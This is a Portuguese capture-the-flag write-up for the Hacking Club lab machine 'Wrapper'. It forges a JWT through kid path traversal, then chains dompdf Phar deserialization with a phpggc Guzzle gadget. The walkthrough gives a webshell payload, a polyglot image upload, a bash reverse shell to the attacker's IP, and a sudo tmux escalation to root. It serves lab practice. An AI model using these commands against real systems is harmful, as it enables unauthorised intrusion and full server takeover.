Você está na página 1de 19

Write-Up - Wrapper

Tags: Phar Deserialization Unrestricted File Upload CVE-2023-24813 JWT Attack

Dificuldade: Hard

Sobre Hacking Club


Hacking Club é uma plataforma para aprender segurança cibernética, um recurso incrível se você não sabe por
onde começar.
Além das máquinas vulneráveis, você tem acesso a aulas e desafios para praticar suas habilidades e acesso a uma
comunidade
exclusiva para jogar e se desafiar.
A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em hacking, experimente.

Introdução
Nessa máquina, os jogadores vão explorar vulnerabilidades web para obter RCE no servidor. Dentre essas
vulnerabilidades: Phar Deserialization, Unrestricted File Upload, JWT Attack.

Write-Up
Enumeração
Enumerando as portas utilizando o rustscan, identificamos as portas 80 e 22:

rustscan -a <machine-ip>

Write-Up - Wrapper 1
Entrando no servidor web, vemos a seguinte página:

Enumerando os diretórios utilizando o “ffuf”, encontramos páginas de registro e login, diretórios de uploads, e páginas
de administração:

ffuf -c -u http://<machine-ip>/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt -t 150 -fs 282

Write-Up - Wrapper 2
Enumerando arquivos utilizando o “ffuf”:

ffuf -c -u http://<machine-ip>/FUZZ -w /opt/SecLists/Discovery/Web-Content/quickhits.txt -t 150 -fs 282 -fw 20

Registrando na aplicação:

Write-Up - Wrapper 3
Fazendo login:

Após o login, vemos que um JWT foi definido no cookie “token”:

Write-Up - Wrapper 4
Analisando o JWT no https://jwt.io, vemos ele possuí o header “kid”:

O header “kid” é utilizado para especificar o arquivo que armazena secret key, ou a private key (caso o algoritimo seja
RS256) do JWT.

A lógica da aplicação geralmente é: Ler o arquivo especificado no header “kid” e verificar se o seu conteúdo é igual a
chave utilizada na assinatura do JWT.

Atacando o JWT

Pesquisando sobre ataques no header “kid”, vemos que existe ataques de path traversal, que consiste em “apontar”
o kid para um arquivo em que conhecemos seu conteudo, assim podemos assinar o JWT.

JWT Vulnerabilities (Json Web Tokens)

https://book.hacktricks.xyz/v/portugues-ht/pentesting-web/hacking-jwt-json-web-tokens#problem
as-com-kid-travessia-de-caminho

Um arquivo que geralmente possuí o mesmo valor é o “/proc/sys/kernel/randomize_va_space”. Normalmente o


conteúdo dele é o número “2”:

Write-Up - Wrapper 5
Sabendo disso, podemos fazer um path traversal no header “kid”, apontar ele para o arquivo
“/proc/sys/kernel/randomize_va_space” e assinar o JWT com o valor “2”:

Atualizando JWT contido no cookie “token”:

Se tentarmos acessar a página de administração “/admin”, seremos redirecionados para a página principal. Portanto,
com o ataque ao JWT, nós podemos alterar nossa role de “user” para “admin”, assim seremos administradores na
aplicação.
Alterando JWT:

Write-Up - Wrapper 6
Acessando página de administração:

Write-Up - Wrapper 7
Phar deserialization
Entrando na página “Template Email”, vemos o seguinte formulário:

Preenchendo o formulário e clicando em “Create Template”, vemos que a aplicação gerou um PDF de acordo com os
dados inseridos no formulário:

Uma ótima maneira de sabermos como o PDF foi gerado é utilizando o “exiftools”. Com ele conseguimos ver os
metadados do PDF.

Baixando PDF:

Write-Up - Wrapper 8
Analisando PDF com exiftool:

exiftool template.pdf

Vemos que o PDF foi gerado pelo “dompdf 2.0.1”. Pesquisando sobre CVEs nessa versão do dompdf, vemos que ele
possuí uma vulnerabilidade de Phar Deserialization:

Write-Up - Wrapper 9
Para explorarmos o PHAR deserialization e obtermos RCE precisamos de 4 fatores:

1 - A aplicação tem que em PHP <= 7.4.


2 - Precisamos de uma aplicação vulnerável a Phar deserialization.
3 - Precisamos encontrar vulnerabilidades no código para explorarmos com desserialização.
4 - Precisamos de file upload para enviarmos a payload para o servidor.

O segundo fator já temos, pois o DomPDF é vúlnerável à Phar deserialization.

Na etapa de fuzzing, encontramos o arquivo “composer.json”. O composer é um utilitário para instalar libs em uma
aplicação PHP. Analisando esse arquivo, vemos que o guzzlehttp na versão “6.2.0” foi instalado na aplicação:

Write-Up - Wrapper 10
Pesquisando sobre vulnerabilidades no guzzle, encontramos um gadget no phpggc:

./phpggc -l guzzle

Com isso, conseguimos o terceiro fator: “encontrar vulnerabilidades no código para explorarmos com
desserialização.”

Na etapa de enumeração, encontramos a página “/favorites”:

Nessa página conseguimos enviar uma imagem. Porém, podemos enviar uma payload Phar com a extensão .png ou
.jpeg, pois isso não interfere no ataque.
Com isso, conseguimos o quarto fator: “File upload para enviarmos a payload para o servidor.”

Não conseguimos validar se a aplicação está utilizando PHP <= 7.4, mas isso não nos impede de tentar executar o
ataque.

Explorando Phar deserialization


Primeiro precisamos gerar a payload, para isso podemos utilizar o phpggc:

Write-Up - Wrapper 11
wget '<image-link>' -O example.jpg -q
echo '<?php system($_GET[0]);?>' > shell.php
php --define phar.readonly=0 phpggc Guzzle/FW1 /var/www/html/public/uploads/hcshell.php shell.php -pj example.jpg -o xpl.jpg

Essa payload vai gravar o uma webshell em “/var/www/html/public/uploads/hcshell.php”. A opção “-pj” é para gerar
uma imagem polimorfa, assim dando bypass em restrições de upload.

Com a payload em mãos, podemos enviá-la para a aplicação:

Agora precisamos criar o exploit para explorar a vulnerabilidade no DomPDF. Pesquisando por exploits públicos,
encontramos esse respositório:

Write-Up - Wrapper 12
https://github.com/motikan2010/CVE-2023-23924

Vemos que ele envia a seguinte payload para o dompdf renderizar:

E dentro de android.svg, tem o seguinte conteúdo:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 96 105">


<Image xlink:href="phar://./test.phar"></Image>
<g fill="#97C024" stroke="#97C024" stroke-linejoin="round" stroke-linecap="round">
<path d="M14,40v24M81,40v24M38,68v24M57,68v24M28,42v31h39v-31z" stroke-width="12"/>
<path d="M32,5l5,10M64,5l-6,10 " stroke-width="2"/>
</g>
<path d="M22,35h51v10h-51zM22,33c0-31,51-31,51,0" fill="#97C024"/>
<g fill="#FFF">
<circle cx="36" cy="22" r="2"/>
<circle cx="59" cy="22" r="2"/>
</g>
</svg>

Write-Up - Wrapper 13
Para explorarmos a vulnerabilidade, precisamos especificar a payload phar que foi enviada ao servidor. Então o
arquivo.svg ficará assim:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 96 105">


<Image xlink:href="phar:///var/www/html/public/uploads/<payload>"></Image>
<g fill="#97C024" stroke="#97C024" stroke-linejoin="round" stroke-linecap="round">
<path d="M14,40v24M81,40v24M38,68v24M57,68v24M28,42v31h39v-31z" stroke-width="12"/>
<path d="M32,5l5,10M64,5l-6,10 " stroke-width="2"/>
</g>
<path d="M22,35h51v10h-51zM22,33c0-31,51-31,51,0" fill="#97C024"/>
<g fill="#FFF">
<circle cx="36" cy="22" r="2"/>
<circle cx="59" cy="22" r="2"/>
</g>
</svg>

Com a payload svg pronta, precisamos hospedá-la em um servidor python:

Com tudo pronto, podemos enviar o formulário para o DomPDF:

Write-Up - Wrapper 14
Com a webshell, conseguimos RCE:

Com isso, podemos obter uma shell interativa. Primeiro abrimos o netcat na porta 80:

sudo nc -lvp 80

Write-Up - Wrapper 15
Com o netcat aberto, enviamos a seguinte payload com urlencode para nossa webshell:

/bin/bash -c "bash -i >& /dev/tcp/<your-ip>/80 0>&1"

Copie a payload com urlencode e envie na webshell:

Voltando no netcat, vemos uma shell interativa:

Write-Up - Wrapper 16
Para obtermos shell “full” interativa, precisamos executar os seguintes comandos:

export TERM=xterm
script /dev/null -c bash

Cntrl + Z
stty raw -echo && fg

Escalação Lateral:
Enumerando os usuários, vemos que existe o usuário “jack”.
Lendo o /etc/crontab, não encontramos nada, então utilizei o pspy64 para verificar se havia outras crontabs
configuradas.

Para fazer download do pspy64 na máquina alvo, precisamos fazer download em nossa máquina, hospedar em um
servidor python, e na máquina alvo utilizar o wget para fazer o download:

Em sua máquina local:

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -q
python3 -m http.server 9000

Na máquina alvo:

Write-Up - Wrapper 17
wget <your-ip>:9000/pspy64 -q
chmod +x pspy64 ; ./pspy64

Aguardando cerca de 1 minuto, vemos o seguinte comando sendo executado pelo usuário “jack”:

Veja que ele está comprimindo um arquivo e utilizando a senha “n0n1nter4ct1v3”. Com essa senha, conseguimos
acesso ao usuário jack:

su jack

Escalação de privilégios
Enumerando as permissões de sudo do usuário jack, vemos que ele pode executar o tmux como usuário root:

sudo -l

Write-Up - Wrapper 18
Se executarmos o tmux como root, conseguimos shell interativa no usuário root:

sudo /usr/bin/tmux

Referências:
Lab: JWT authentication bypass via kid header path traversal | Web Security Academy
This lab uses a JWT-based mechanism for handling sessions. In order to verify the signature, the
server uses the kid parameter in JWT header to fetch the ...
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traver
sal

phar:// deserialization

https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization

Write-Up - Wrapper 19

Você também pode gostar